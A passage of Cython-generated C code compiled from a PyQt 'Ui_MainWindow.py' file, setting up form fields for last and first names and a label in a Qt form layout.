__PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QSize); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__80, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_9) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":131 * self.R_lastname = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_lastname.setMinimumSize(QtCore.QSize(420, 0)) * self.R_lastname.setText("") # <<<<<<<<<<<<<< * self.R_lastname.setObjectName("R_lastname") * self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.R_lastname) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__81, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":132 * self.R_lastname.setMinimumSize(QtCore.QSize(420, 0)) * self.R_lastname.setText("") * self.R_lastname.setObjectName("R_lastname") # <<<<<<<<<<<<<< * self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.R_lastname) * self.label_6 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__82, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":133 * self.R_lastname.setText("") * self.R_lastname.setObjectName("R_lastname") * self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.R_lastname) # <<<<<<<<<<<<<< * self.label_6 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_6.setObjectName("label_6") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_9, __pyx_int_0, __pyx_t_1, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_9, __pyx_int_0, __pyx_t_1, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_9) { __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_9); __pyx_t_9 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 2+__pyx_t_8, __pyx_t_6); __pyx_t_1 = 0; __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":134 * self.R_lastname.setObjectName("R_lastname") * self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.R_lastname) * self.label_6 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_6.setObjectName("label_6") * self.formLayout.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_6) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_6, __pyx_t_3) < 0) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":135 * self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.R_lastname) * self.label_6 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_6.setObjectName("label_6") # <<<<<<<<<<<<<< * self.formLayout.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_6) * self.R_firstname = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__83, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":136 * self.label_6 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_6.setObjectName("label_6") * self.formLayout.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_6) # <<<<<<<<<<<<<< * self.R_firstname = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_firstname.setMinimumSize(QtCore.QSize(420, 0)) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_1, __pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_1, __pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_9 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_int_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 2+__pyx_t_8, __pyx_t_2); __pyx_t_4 = 0; __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":137 * self.label_6.setObjectName("label_6") * self.formLayout.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_6) * self.R_firstname = QtWidgets.QLineEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.R_firstname.setMinimumSize(QtCore.QSize(420, 0)) * self.R_firstname.setText("") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname, __pyx_t_3) < 0) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":138 * self.formLayout.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_6) * self.R_firstname = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_firstname.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.R_firstname.setText("") * self.R_firstname.setObjectName("R_firstname") */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__84, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":139 * self.R_firstname = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_firstname.setMinimumSize(QtCore.QSize(420, 0)) * self.R_firstname.setText("") # <<<<<<<<<<<<<< * self.R_firstname.setObjectName("R_firstname") * self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.R_firstname) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); 